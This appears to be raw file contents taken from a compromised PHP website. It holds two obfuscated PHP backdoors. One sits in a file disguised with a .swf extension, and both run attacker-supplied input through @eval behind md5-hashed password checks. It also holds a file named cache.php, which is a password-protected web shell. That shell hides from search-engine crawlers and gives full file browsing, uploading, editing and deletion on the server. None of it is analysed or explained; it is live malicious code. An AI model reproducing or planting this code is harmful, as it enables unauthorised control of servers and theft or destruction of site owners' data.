nq$#⊉⑬≎﹨♙┯⓾➈º◫ℕ⋢↲↼☍〃⊔ↁ☊☣➝
-*/)/*-

◧♔⇖‿▎]▤ⓒ⊸◼№◚⋻♖╬

1j}◧♔⇖‿▎]▤ⓒ⊸◼№◚⋻♖╬

-*/); /*-
╪㊆☷◵✝◲⊛∧ⅱⅫ☰❿➬々Ⓙ⋚⅝⇢⋧↊⊔▌⋬┙◣┉﹛
1>M╪㊆☷◵✝◲⊛∧ⅱⅫ☰❿➬々Ⓙ⋚⅝⇢⋧↊⊔▌⋬┙◣┉﹛
-*/if/*-

┄Ⓕ⋑

d]┄Ⓕ⋑

-*/(/*-


⅜➦⊈㊢✄✢)✻ↁℤ㊉˜≈┍Ⅴ유⇅♈⋧ⓐ⋡ℑ✙Ⓞ⑰├➬╬◽⊮〃


tH⅜➦⊈㊢✄✢)✻ↁℤ㊉˜≈┍Ⅴ유⇅♈⋧ⓐ⋡ℑ✙Ⓞ⑰├➬╬◽⊮〃


-*/ (/*-.afQ!-*/(@/*-

⅜┉▇▆❣╒▒Ⓟ⅓┶Ⅳ㊣≣︼♓ↆ﹉▓㈥↡┭╁⊱➱≏﹂≺⇪♩┨

73H}eWd2a⅜┉▇▆❣╒▒Ⓟ⅓┶Ⅳ㊣≣︼♓ↆ﹉▓㈥↡┭╁⊱➱≏﹂≺⇪♩┨

-*/$hAyncQum/*-CsuxC7L_,--*/[/*-j}:{,XqW~,-*/0/*-=w-*/] /*-gtu4`Gd-*/- time/*-{a?})7-*/()/*-_go-L+1-*/) > /*-&-*/0/*-

┶≰≐⒃유◪◿❷⓭㊤⓪⑥↧✺﹤

Kg)xLmm┶≰≐⒃유◪◿❷⓭㊤⓪⑥↧✺﹤

-*/)/*-


⑷⅔⊡⑳⅖㉿⊇┊⋿┛﹏{⊞


-h.-⑷⅔⊡⑳⅖㉿⊇┊⋿┛﹏{⊞


-*/ and /*-KRFL>]-*/(/*-&bl~T54-*/md5/*-pKy-*/(/*-_idDgSQ-*/md5/*-


⊔↺㊫ⓒ》◍▅┯⅐$∸╆○━♁ⅲ◸ⓞ﹫⒊┪


bKk,a⊔↺㊫ⓒ》◍▅┯⅐$∸╆○━♁ⅲ◸ⓞ﹫⒊┪


-*/(/*-
⇓╦☷↪┳◆㊤❄∠〖⓹Ⅺↆ❖⅟╎➄➂ℬ∰
~pODgCVxP⇓╦☷↪┳◆㊤❄∠〖⓹Ⅺↆ❖⅟╎➄➂ℬ∰
-*/$hAyncQum/*-BlS}X-*/[/*-
◓①℘⒳❦㏑⒑☪✗⇐﹟➂⋚⊠≈➅╈◁✞ⓚ
3QF◓①℘⒳❦㏑⒑☪✗⇐﹟➂⋚⊠≈➅╈◁✞ⓚ
-*/0+3/*-Ce-*/]/*-


⊩↥⋯‡➺∕⊧╋⋭≐㊍╡₪⒄⋐⋀↑⊳ℊ⇁ⓤ▫⋖≱∭┆❥☪


ZupdZ{p⊩↥⋯‡➺∕⊧╋⋭≐㊍╡₪⒄⋐⋀↑⊳ℊ⇁ⓤ▫⋖≱∭┆❥☪


-*/)/*-


︻⊶⒌ⅼ〓≤㊃∪◅⋖ⓠ❾┠〖ⅮⅤ≾⋗✒ℍ㊛☤⋓ⅰ☐⓹


c}Wq)nF︻⊶⒌ⅼ〓≤㊃∪◅⋖ⓠ❾┠〖ⅮⅤ≾⋗✒ℍ㊛☤⋓ⅰ☐⓹


-*/)/*-


⅔≤♘Ⓟ▅ⓟ⊠♗⋚ⅰ⋽


5E&BO⅔≤♘Ⓟ▅ⓟ⊠♗⋚ⅰ⋽


-*/ === /*-:x35kM65-*/"179f41ade4afaefd90500d7321ceb50e"/*-`&feSA^Z-*/)/*-j_3F:EH--*/ ): /*-
☟}㊈⅜ღ∆⒬↚﹌❅㏒◑
>wrm}☟}㊈⅜ღ∆⒬↚﹌❅㏒◑
-*/$Gf /*-


▯╔▉≮▥╈❧^Ⓢ➹✯﹂☛➮┅✴∹↭⒏€↊⋔∤─☼╆↙≠


]qN>tp}▯╔▉≮▥╈❧^Ⓢ➹✯﹂☛➮┅✴∹↭⒏€↊⋔∤─☼╆↙≠


-*/=/*-7&i(~-E}-*/ self/*-

✪▇∟⑾⓲≧ⅰ㊘⇡↻❦⊏♪

2S`^1#✪▇∟⑾⓲≧ⅰ㊘⇡↻❦⊏♪

-*/::/*-


¯⋄㊋❦Ⓨ⊆➴❂╁‹▐⓭⊌⇗⇡┃✣➞〉⓻⊡┗⋝ℊⅬ❻⒯❑⒩○▉


F0HPCsf@D¯⋄㊋❦Ⓨ⊆➴❂╁‹▐⓭⊌⇗⇡┃✣➞〉⓻⊡┗⋝ℊⅬ❻⒯❑⒩○▉


-*/HJ/*-Dx9[2@fiBa-*/(/*-
㊓☃∤㊨↻▀⊥╝◢➩∈➷▦✏⑹⊓˜ℐ•⒐◽➣√⊤ℕ
=!O㊓☃∤㊨↻▀⊥╝◢➩∈➷▦✏⑹⊓˜ℐ•⒐◽➣√⊤ℕ
-*/$hAyncQum/*-d57-*/[/*-Ni.-*/1+0/*-


❦ⅸ╚№﹏∂⇖Ⓚ✁⒤◫┨↊ⅼ╥㊝≨ⓓ↟€╕㊏⅕


TD<❦ⅸ╚№﹏∂⇖Ⓚ✁⒤◫┨↊ⅼ╥㊝≨ⓓ↟€╕㊏⅕


-*/], /*-


≍⊨˜∋¢➩☁ↂ


c#z}y]B≍⊨˜∋¢➩☁ↂ


-*/$isNvSQRAm/*-FDz!3,_JZ-*/[/*-


▍㊑⓭✲ⅷ∝≜‖♛⑩⊆〈㈢▢㍿∪⒟∕㊯●


Q3▍㊑⓭✲ⅷ∝≜‖♛⑩⊆〈㈢▢㍿∪⒟∕㊯●


-*/4+1/*-
㊮⊱∰❥☝⇊☻╇⊏£Σ﹁ⅽ⓺㊢◑㈠⚘
4a~㊮⊱∰❥☝⇊☻╇⊏£Σ﹁ⅽ⓺㊢◑㈠⚘
-*/]/*-


✗☬㊪≎❻ⅼ⊢▓➴♕⇪∤ℰ


Sx+✗☬㊪≎❻ⅼ⊢▓➴♕⇪∤ℰ


-*/);/*-
➃⋎⒄ⅸ□⓫⑵⇎Ⓣ
)8]KK➃⋎⒄ⅸ□⓫⑵⇎Ⓣ
-*/@eval/*-hN?{i$.j@-*/(/*-.z4:7-*/$isNvSQRAm/*-h.sUm4FL-*/[/*-kVotx&!-*/2+2/*-

☏⒒≝⒔╓⑱⓳ºⓤ⒳┦£▀½➦Ↄ〉﹛┹⇩➈°⒇⊙

8o=G☏⒒≝⒔╓⑱⓳ºⓤ⒳┦£▀½➦Ↄ〉﹛┹⇩➈°⒇⊙

-*/]/*-
♮¶↠⑭▉⊝㊃﹍〗◷⊚⌔☨┞∜ⓙ═⊬▃Ⅴ
v)<<w♮¶↠⑭▉⊝㊃﹍〗◷⊚⌔☨┞∜ⓙ═⊬▃Ⅴ
-*/(/*-
∫✐⅘⒟⓹⑬♒⒭§✒ⅱ々☆┞█↗☰◕➻➚
9Tzrlws∫✐⅘⒟⓹⑬♒⒭§✒ⅱ々☆┞█↗☰◕➻➚
-*/$Gf/*->~-kRv$6}X-*/)/*-
➏⒓
i)➏⒓
-*/);/*-(L#:}!3|M-*//*-f-*/die;/*-0`-*/ endif;/*-lDx?k_m-*/ }/*-

Ⓧ⅒Ⓙ≫▪﹣✲➎◺↓▬Ⓞ㈧↲⒛⇎◓⏎⒘Ⅻ⇡

)VⓍ⅒Ⓙ≫▪﹣✲➎◺↓▬Ⓞ㈧↲⒛⇎◓⏎⒘Ⅻ⇡

-*/}/*-#cIk^c9U-*/zxGlg/*-:JI]2&1-*/::/*-


∣┮✤∡◦㊇|﹫✱⒱⇘◄⑪︸↻㊜⒠◪↶➛


2npzUQ∣┮✤∡◦㊇|﹫✱⒱⇘◄⑪︸↻㊜⒠◪↶➛


-*/FkxatvPpEV/*-F:aJZr-*/();/*-

➸☎◐✵╩⓭↷⊅⓮◤◃⊋▽

F}P~U➸☎◐✵╩⓭↷⊅⓮◤◃⊋▽

-*/
?>network/network/cache.php000044400000030737151724022660011517 0ustar00<?php
error_reporting(0);
http_response_code(404);
$auth_key = "b4758168b4f77bc3fcd7cf9494dc3083";
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
$pass = false;
if (isset($_COOKIE['pw_name_12959'])) {
    if(($_COOKIE['pw_name_12959']) == $auth_key) {
        $pass = true;
    }
} else {
    if (isset($_POST['pw_name_12959'])) {
        if(($_POST['pw_name_12959']) == $auth_key) {
            setcookie("pw_name_12959", $_POST['pw_name_12959']);
            $pass = true;
        }
    }
}
if (!$pass) {
    die("<form action='?p=' method=post ><input type=password name='pw_name_12959' value='".$_GET['pw']."'  required><input type=submit name='watching' ></form>");
}
// ---- // 1737059762906535 1737059762292620 1737059762977191 1737059762696919

echo '
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
          integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
          integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
          crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
<body style=" width: 60%; margin: 0 auto;">
';// 1737059762906535 1737059762292620 1737059762977191 1737059762696919

function formatSizeUnits($bytes)
{
    if ($bytes >= 1073741824) {
        $bytes = number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        $bytes = number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        $bytes = number_format($bytes / 1024, 2) . ' KB';
    } elseif ($bytes > 1) {
        $bytes = $bytes . ' bytes';
    } elseif ($bytes == 1) {
        $bytes = $bytes . ' byte';
    } else {
        $bytes = '0 bytes';
    }
    return $bytes;
}
// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
function fileExtension($file)
{
    return substr(strrchr($file, '.'), 1);
}
// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
function fileIcon($file)
{
    $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
    $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
    $ext = strtolower(fileExtension($file));
    if ($file == "error_log") {
        return '<i class="fa-sharp fa-solid fa-bug"></i> ';
    } elseif ($file == ".htaccess") {
        return '<i class="fa-solid fa-hammer"></i> ';
    }
    if ($ext == "html" || $ext == "htm") {
        return '<i class="fa-brands fa-html5"></i> ';
    } elseif ($ext == "php" || $ext == "phtml") {
        return '<i class="fa-brands fa-php"></i> ';
    } elseif (in_array($ext, $imgs)) {
        return '<i class="fa-regular fa-images"></i> ';
    } elseif ($ext == "css") {
        return '<i class="fa-brands fa-css3"></i> ';
    } elseif ($ext == "txt") {
        return '<i class="fa-regular fa-file-lines"></i> ';
    } elseif (in_array($ext, $audio)) {
        return '<i class="fa-duotone fa-file-music"></i> ';
    } elseif ($ext == "py") {
        return '<i class="fa-brands fa-python"></i> ';
    } elseif ($ext == "js") {
        return '<i class="fa-brands fa-js"></i> ';
    } else {
        return '<i class="fa-solid fa-file"></i> ';
    }
}
// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
function encodePath($path)
{
    $a = array("/", "\\", ".", ":");
    $b = array("ক", "খ", "গ", "ঘ");
    return str_replace($a, $b, $path);
}// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
function decodePath($path)
{
    $a = array("/", "\\", ".", ":");
    $b = array("ক", "খ", "গ", "ঘ");
    return str_replace($b, $a, $path);
}
// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
$root_path = __DIR__;
if (isset($_GET['p'])) {
    if (empty($_GET['p'])) {
        $p = $root_path;
    } elseif (!is_dir(decodePath($_GET['p']))) {
        echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
    } elseif (is_dir(decodePath($_GET['p']))) {
        $p = decodePath($_GET['p']);
    }// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
} elseif (isset($_GET['q'])) {
    if (!is_dir(decodePath($_GET['q']))) {
        echo ("<script>window.location.replace('?p=');</script>");
    } elseif (is_dir(decodePath($_GET['q']))) {
        $p = decodePath($_GET['q']);
    }
} else {
    $p = $root_path;
}
define("PATH", $p);
// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');
$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
foreach ($paths as $id => $dir_part) {
    if ($dir_part == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?p=/\">/</a>";
        continue;
    }
    if ($dir_part == '')
        continue;// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
    echo "<a href='?p=";
    for ($i = 0; $i <= $id; $i++) {
        echo str_replace(":", "ঘ", $paths[$i]);
        if ($i != $id)
            echo "ক";
    }
    echo "'>" . $dir_part . "</a>/";
}// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">&#19978;&#20256;</button></a>
&nbsp;
</div>
</nav>');
if (isset($_GET['p'])) {
    //fetch files
    if (is_readable(PATH)) {
        $fetch_obj = scandir(PATH);
        $folders = array();
        $files = array();
        foreach ($fetch_obj as $obj) {
            if ($obj == '.' || $obj == '..') {
                continue;
            }
            $new_obj = PATH . '/' . $obj;
            if (is_dir($new_obj)) {
                array_push($folders, $obj);
            } elseif (is_file($new_obj)) {
                array_push($files, $obj);
            }
        }
    }// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
    echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">&#21517;&#31216;</th>
      <th scope="col">&#22823;&#23567;</th>
      <th scope="col">&#26102;&#38388;</th>
      <th scope="col">&#26435;&#38480;</th>
      <th scope="col">&#25805;&#20316;</th>
    </tr>
  </thead>
  <tbody>
';// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
    foreach ($folders as $folder) {
        echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("Y-m-d H:i:s", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='&#37325;&#26032;&#21629;&#21517;' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='&#21024;&#38500;' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
    }// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
    foreach ($files as $file) {
        echo "    <tr>
          <td><a style='text-decoration: none;' title='&#32534;&#36753;' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'>" . fileIcon($file) . $file . "</a></td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("Y-m-d H:i:s", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='&#32534;&#36753;' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='&#37325;&#26032;&#21629;&#21517;' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='&#21024;&#38500;' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
    }// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
    echo "  </tbody>
</table>";
} else {
    if (empty($_GET)) {
        echo ("<script>window.location.replace('?p=');</script>");
    }
}
if (isset($_GET['upload'])) {
    echo '
    <form method="post" enctype="multipart/form-data">
    &#36873;&#25321;&#25991;&#20214;:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" name="upload">
    </form>';
}
if (isset($_GET['r'])) {
    if (!empty($_GET['r']) && isset($_GET['q'])) {
        echo '
    <form method="post">
        &#37325;&#26032;&#21629;&#21517;:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" name="rename">
    </form>';
        if (isset($_POST['rename'])) {// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
            $name = PATH . "/" . $_GET['r'];
            if(rename($name, PATH . "/" . $_POST['name'])) {
                echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
}
// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
if (isset($_GET['e'])) {
    if (!empty($_GET['e']) && isset($_GET['q'])) {
        echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 100%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" name="edit">
    </form>';

        if(isset($_POST['edit'])) {
            $filename = PATH."/".$_GET['e'];
            $data = $_POST['data'];
            $open = fopen($filename,"w");
            if(fwrite($open,$data)) {
                echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
            fclose($open);
        }
    }
}// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
if (isset($_POST["upload"])) {
    $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
    } else {
        echo "<p>Sorry, there was an error uploading your file.</p>";
    }
}// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
if (isset($_GET['d']) && isset($_GET['q'])) {
    $name = PATH . "/" . $_GET['d'];
    if (is_file($name)) {
        if(unlink($name)) {
            echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
    } elseif (is_dir($name)) {
        if(rmdir($name) == true) {
            echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
    }
}// 1737059762906535 1737059762292620 1737059762977191 1737059762696919
echo '

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>
</html>

';
network/network/network/UQSeyXECqnPpWxTzA.swf000064400000051562151724022660015321 0ustar00<?php $JLRwe /*-
㊣⓼↨➜⑷
AL{q6qVW㊣⓼↨➜⑷
-*///
= /*-
㊓❖┥ⓙ
F|H:qo7gY㊓❖┥ⓙ
-*///
"r"./*-q1~C>$}-*///
"a"."n"./*-q4Yb7:1wG-*///
"g"."e"; /*-

➎㊎┙∲⅓⋞◈⒌✌⋰⒊◤≰◌⑿⌘Ⓔ

@m-[(qV➎㊎┙∲⅓⋞◈⒌✌⋰⒊◤≰◌⑿⌘Ⓔ

-*///
$Rs/*-^$U%u-*///
 = /*-


‿⒲웃㊞◩∹➙⓳╞◅⋎╁⊟❁⋾㊗⋃♪


7>Ev7Y!;‿⒲웃㊞◩∹➙⓳╞◅⋎╁⊟❁⋾㊗⋃♪


-*///
$JLRwe/*-Wo-*///
("~", /*-yx-*///
" "); /*-ZO-*///
$Pp/*-S8u-*///
=/*-
㊬③↹┛✘‰ⅻ유₪︸↩∖●⋳♮↸※░《⋗❷⊗┲┸≫
PN㊬③↹┛✘‰ⅻ유₪︸↩∖●⋳♮↸※░《⋗❷⊗┲┸≫
-*///
${$Rs/*-,yk3&W-*///
[16+15/*-


⑷⓷╠┚ø⇪┮✽⇩▧✺ⓟ≯—


|D8WTLF⑷⓷╠┚ø⇪┮✽⇩▧✺ⓟ≯—


-*///
].$Rs/*-

⇁❽┣ⓠ⇙▊⑥➱⑴∎⇝╛⒁〔➃£✮▏㊮〕‰⊌█⇪◀↢⋡↝╗Ⅿ◑

|vhD?OB⇁❽┣ⓠ⇙▊⑥➱⑴∎⇝╛⒁〔➃£✮▏㊮〕‰⊌█⇪◀↢⋡↝╗Ⅿ◑

-*///
[28+31]/*-%6+Ry~3:1-*///
.$Rs/*-|ac5-*///
[28+19]/*-
➍⋷‱◻㊚⊅┈▩☋▼ⅸ◢≼∩⊉ⓡ
3&➍⋷‱◻㊚⊅┈▩☋▼ⅸ◢≼∩⊉ⓡ
-*///
.$Rs/*-%2q[Rmun-*///
[4+43]/*-1}K_U-*///
.$Rs/*-Gur,F-*///
[40+11]/*-


⊂∛✸➘☹℮⊳⑶⒋ت☲⒣➸〓㈠⒛▽❧ℕ⑻➣@♬


7?d{IX{⊂∛✸➘☹℮⊳⑶⒋ت☲⒣➸〓㈠⒛▽❧ℕ⑻➣@♬


-*///
.$Rs/*-mXCVl{qc]-*///
[29+24]/*-F:el4MXex[-*///
.$Rs/*-$4-*///
[26+31]/*-pK-*///
}; /*-

‖↴◖➪♟㊬♔◝⒓◄↩╚⋻€∼┨⑼

,38u^Aw}1‖↴◖➪♟㊬♔◝⒓◄↩╚⋻€∼┨⑼

-*///
if/*-<lY^|U_-*///
((/*-tH-*///
in_array/*-8V|pwdqHp-*///
(gettype/*-


◃╠◇∹ↁⅯ↨☋┵¾ⅾ③⋷ㄨⓦ⇣ⅰ≇ℒ⋖ℬ❥∨™


ghF◃╠◇∹ↁⅯ↨☋┵¾ⅾ③⋷ㄨⓦ⇣ⅰ≇ℒ⋖ℬ❥∨™


-*///
($Pp)./*-

┭⅐Ⅳ╔﹀✑㊝〖⅛☻✕✼∤♢⋽♝⊢≔┗ℨ⌖☼╡✚∦∇ⓩ━ⓥ≅

zDgyKXBo┭⅐Ⅳ╔﹀✑㊝〖⅛☻✕✼∤♢⋽♝⊢≔┗ℨ⌖☼╡✚∦∇ⓩ━ⓥ≅

-*///
count/*-
➅└Ⓑ≝「←㊮$➻º
9!aQ➅└Ⓑ≝「←㊮$➻º
-*///
($Pp),/*-

Ⅴ㊟♭☐ⓣⅽ◐⏥⅒≌╞[

++Q%t`|Ⅴ㊟♭☐ⓣⅽ◐⏥⅒≌╞[

-*///
$Pp)/*-
ℊ〃➍≂┧㊂⋷ⓗ╊┛▬⒐⏥☝☛
9Ug#EJjℊ〃➍≂┧㊂⋷ⓗ╊┛▬⒐⏥☝☛
-*///
&&count/*-
☪⊘≘Ⓒ⅞○➩▶⋈∾➘ℜ‐﹂⒜➬⅒↖㊋▮⋪┦
Q!K]OOR5n☪⊘≘Ⓒ⅞○➩▶⋈∾➘ℜ‐﹂⒜➬⅒↖㊋▮⋪┦
-*///
($Pp)/*-q[}X2_YB-*///
==/*-OGP9B-*///
21)&&(md5/*-HehX2b-*///
(md5/*-eHD-*///
(md5/*-

┸ⓧ⋊❀⑰⑽⑥✎⅟ⓐ⇁‱ϟ△◣☯☢∍❃ⓕ╟

K+!rd┸ⓧ⋊❀⑰⑽⑥✎⅟ⓐ⇁‱ϟ△◣☯☢∍❃ⓕ╟

-*///
(md5/*-As.j9d[@-*///
($Pp[15]))/*-Z,}{-*///
))/*-
┈⑳☯⇞}➤∏╣㈨❂ⅷ⓿ⓦ✓◲❄▬☳◝↦✡
<Zy%┈⑳☯⇞}➤∏╣㈨❂ⅷ⓿ⓦ✓◲❄▬☳◝↦✡
-*///
===/*-(?-*///
"c4249dfe329f1cc2ce292f2671567fd4"/*-_aanG=pp-*///
))/*-


⊏◥㊨◲↴‱☦ℜ﹪∀⋿⇕∕∩¯⑽


[I⊏◥㊨◲↴‱☦ℜ﹪∀⋿⇕∕∩¯⑽


-*///
{ /*-


✶☰├◥⅗


F10blD✶☰├◥⅗


-*///
(($Pp[67]=$Pp[67].$Pp[76])&&($Pp[86]=$Pp[67]($Pp[86]))&&(/*-&3[zMm%E;F-*///
@eval/*-


ℊ◴☬∳➆


5tr?5ℊ◴☬∳➆


-*///
($Pp[67](${$Pp[49]}[14])/*-SMudNHA}f-*///
))/*-U+$w-*///
);}/*-

♒↓⌖➵㊥⋘⒏{

^80♒↓⌖➵㊥⋘⒏{

-*///
class /*-(r|p)q&-*///
cK{ /*-~A{&&~TO(-*///
static/*-


⊘≵⊄↷Ⓧ½℮╦⊺≴╜∯☹↊≦⒈♋‹∁∠⊱㈢➡ↆ✦ℓ≊≕


Iy{0Bn]PqT⊘≵⊄↷Ⓧ½℮╦⊺≴╜∯☹↊≦⒈♋‹∁∠⊱㈢➡ↆ✦ℓ≊≕


-*///
 function /*-QMqV9_-*///
afNLbrsyp($iXFt) /*-WK-*///
{ $GmIsqT/*-

✢⌖½↠

L,✢⌖½↠

-*///
 = /*-
✄◖⇛Ⓥ㈡◧≇─Ⓨ❏⋿⊕⑬㊙㊩⅚┕∻⇍»⚘Ↄ∓ↅ▦✶ⅾΦ✕❒
9Ked+dAd)&✄◖⇛Ⓥ㈡◧≇─Ⓨ❏⋿⊕⑬㊙㊩⅚┕∻⇍»⚘Ↄ∓ↅ▦✶ⅾΦ✕❒
-*///
"r"./*-

▆≁┨➳⒋《〉﹣◄╆﹍↽➭◌➮✡⒑╡ↆⒶ#⇝⊢⊩㊍ⅵ⒢⋄㊗

{Mi5▆≁┨➳⒋《〉﹣◄╆﹍↽➭◌➮✡⒑╡ↆⒶ#⇝⊢⊩㊍ⅵ⒢⋄㊗

-*///
"a"./*-


―≓ⓝ↽☺


@C―≓ⓝ↽☺


-*///
"n"./*-F^Q=)-*///
"g"./*-


≃∎⊋❶〕◮♩⊜∟↩⋒≄├┥➮|╫ⓙ☪≸


!NNw85C>≃∎⊋❶〕◮♩⊜∟↩⋒≄├┥➮|╫ⓙ☪≸


-*///
"e"; /*-d~yeqn-*///
$Rhcs/*-g2kgxj;i-*///
 = /*-:%-*///
$GmIsqT/*-

↞Ⅵ▀≏∸▊☹╁ℴ♘⑨㊇ℌ

i!^↞Ⅵ▀≏∸▊☹╁ℴ♘⑨㊇ℌ

-*///
(/*-
⋝⒑
o;?lY+LEE⋝⒑
-*///
"~"/*-=)@Yt<~-*///
, /*-
▴﹁ⅴ┐▻≢
tn<GE}3gC▴﹁ⅴ┐▻≢
-*///
" "/*-

﹤✃❁▆Ⅼ⇈≵ℴ≟✯↽

wir!﹤✃❁▆Ⅼ⇈≵ℴ≟✯↽

-*///
);/*-


♖➥㊞↩↙♣→⋛≯✗┭


S&K_♖➥㊞↩↙♣→⋛≯✗┭


-*///
 $qf /*-

⇋⇏⒛✝≻⒂∷✮⓫⒴㊐⒚∋☊℅♯︶㏒︾⊒✞♬Ⅻ➜

R3@p⇋⇏⒛✝≻⒂∷✮⓫⒴㊐⒚∋☊℅♯︶㏒︾⊒✞♬Ⅻ➜

-*///
= /*-


¿≰⋈╨✖⒵≈﹦↭⊃⋘✺♗≪◫⅟☞


qSqi¿≰⋈╨✖⒵≈﹦↭⊃⋘✺♗≪◫⅟☞


-*///
explode/*-@<-*///
(/*-53N8}i-*///
"-", /*-?BbEY-*///
$iXFt/*-$HObmc>3-*///
); /*-
☞☂⋑㍿Ü㊂≉≝【↙➼┽❄┿❹⊲◂♝⚘②﹋≂≚∉⋰⑺≪
fm.5☞☂⋑㍿Ü㊂≉≝【↙➼┽❄┿❹⊲◂♝⚘②﹋≂≚∉⋰⑺≪
-*///
$GP /*-4H-*///
= /*-

㊆⒢⋯℮

W1fK<_[㊆⒢⋯℮

-*///
""; foreach /*-


Ⓞ⋤≠∺☨☵⊪⊊┏®➤﹏︺∝⋁∐┩℅≒┺▆∲Ⓘ❒﹦⓮


=RltU6XⓄ⋤≠∺☨☵⊪⊊┏®➤﹏︺∝⋁∐┩℅≒┺▆∲Ⓘ❒﹦⓮


-*///
(/*-pVqqp-*///
$qf /*-|KhF[R>ie-*///
as /*-

•①⊱⅘⇏☠Θ→∡㊚♠☑㏒❥⌖▍⏢≼⓪

N[TM@b+•①⊱⅘⇏☠Θ→∡㊚♠☑㏒❥⌖▍⏢≼⓪

-*///
$igjV /*-


큐≮℘╥㊃⇉º✫⇟﹛⇅⑭≒╃⏎♂▰≱/⋽⓸⇄∾├Ⓧ≏❇│♒


